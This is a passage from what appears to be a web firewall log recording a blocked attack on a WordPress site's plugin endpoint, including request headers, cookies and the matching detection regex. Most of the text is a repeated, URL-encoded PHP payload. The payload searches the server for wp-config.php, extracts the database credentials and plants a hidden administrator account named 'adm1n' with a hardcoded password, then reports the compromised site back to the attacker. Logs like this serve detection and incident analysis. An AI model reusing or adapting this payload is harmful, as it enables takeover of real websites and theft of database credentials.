60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 11:18:10","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lo:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12640\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGT8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\n\nLo=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7